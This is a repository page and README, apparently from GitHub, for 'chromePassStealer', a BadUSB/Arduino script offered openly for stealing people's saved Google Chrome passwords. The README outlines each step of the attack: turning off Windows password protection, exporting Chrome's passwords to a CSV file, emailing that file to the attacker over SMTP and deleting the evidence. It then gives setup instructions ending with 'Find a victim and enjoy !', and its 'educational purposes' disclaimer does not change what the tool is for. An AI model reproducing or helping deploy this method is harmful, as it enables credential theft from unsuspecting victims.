https://github.com/tuconnaisyouknow/chromepassstealer

This script makes your BadUSB steal all the victim's Google Chrome password.
https://github.com/tuconnaisyouknow/chromepassstealer

arduino bad-usb badusb duckyscript dump dumper email gmail google-chrome googlechrome grabber password smtp steal stealer usb-hid

Last synced: 4 months ago
JSON representation

This script makes your BadUSB steal all the victim's Google Chrome password.

• Host: GitHub
• URL: https://github.com/tuconnaisyouknow/chromepassstealer
• Owner: tuconnaisyouknow
• License: mit
• Created: 2022-03-03T23:59:59.000Z (almost 3 years ago)
• Default Branch: main
• Last Pushed: 2022-03-11T01:17:34.000Z (almost 3 years ago)
• Last Synced: 2024-10-13T08:42:28.932Z (4 months ago)
• Topics: arduino, bad-usb, badusb, duckyscript, dump, dumper, email, gmail, google-chrome, googlechrome, grabber, password, smtp, steal, stealer, usb-hid
• Language: C++
• Homepage:
• Size: 24.4 KB
• Stars: 23
• Watchers: 2
• Forks: 3
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

README

        
# chromePassStealer 🥷

This project allows you to steal passwords from **Google Chrome** and get all the data by mail.

# This project isn't updated, if you want a better script click [here](https://github.com/tuconnaisyouknow/BadUSB_passStealer)

# Warning ⚠️

Everything in this repository is **strictly** for educational purposes. Notice **I am not responsible** for stolen data. **You are responsible** for your actions using developed script for **BadUSB**

# About ℹ️

Most people who are not well informed about **computer science** save their **passwords** on **Google Chrome** for convenience. This script uses these **weaknesses** to **steal** all **passwords** saved by **Google Chrome** users. The script makes your **BadUSB** disable **Windows** **passwords** by powershell command line, then it opens **Google Chrome** and download a **.csv** file with all **Chrome passwords** by **Windows shortcuts**. Once this file is downloaded, the **BadUSB** send this file by **mail** from powershell command line. To end up the script delete **.csv** file and close **Google Chrome** and powershell.

### NB n°1

Sometimes, you will see something like this : 

``` 

Keyboard.press(KEY_LEFT_CTRL);

Keyboard.press(KEY_LEFT_ALT);

Keyboard.press(173);

Keyboard.releaseAll(); 

```

This is only to write these characters : "@", "\\". But it depends on the computer's layout, so adapt these characters thanks to this [site](https://www.csee.umbc.edu/portal/help/theory/ascii.txt) and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French)

### NB n°2

When the script is executed the person who plugged **BadUsb** see his computer working alone so this script isn't optimized yet.

### NB n°3

You can customize the **delay** according to the speed in which you plug the **BadUSB**.

# Getting Started ✔️

## Requirments

1. Have a **BadUSB**

2. Install **Arduino software** [here](https://www.arduino.cc/en/software).

2. Have a **Gmail** account and enable **less secure app** [here](https://www.google.com/settings/security/lesssecureapps).

## Install

1. Download this repository

**Linux :**

```

git clone https://github.com/tuconnaisyouknow/ChromePassStealer

cd ChromePassStealer

```

**Windows :** Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.

2. Replace your mail and password [here](https://github.com/tuconnaisyouknow/ChromePassStealer/blob/main/ChromePassStealer.txt) or [here](https://github.com/tuconnaisyouknow/ChromePassStealer/blob/main/ChromePassStealer.ino) at line 238, 245, 253, 264

3. Add your code in the **BadUSB** by **Arduino software**

4. Find a victim and enjoy !

## Requirments for victim PC

* Turn off caps lock

* Switch the keyboard layout to French (or adapt the code according to your layout)

# Help Me ⛑️

If you want to help me, I want to make the script run in background and do all it do from Chrome directly from powershell. Thanks to your contribution !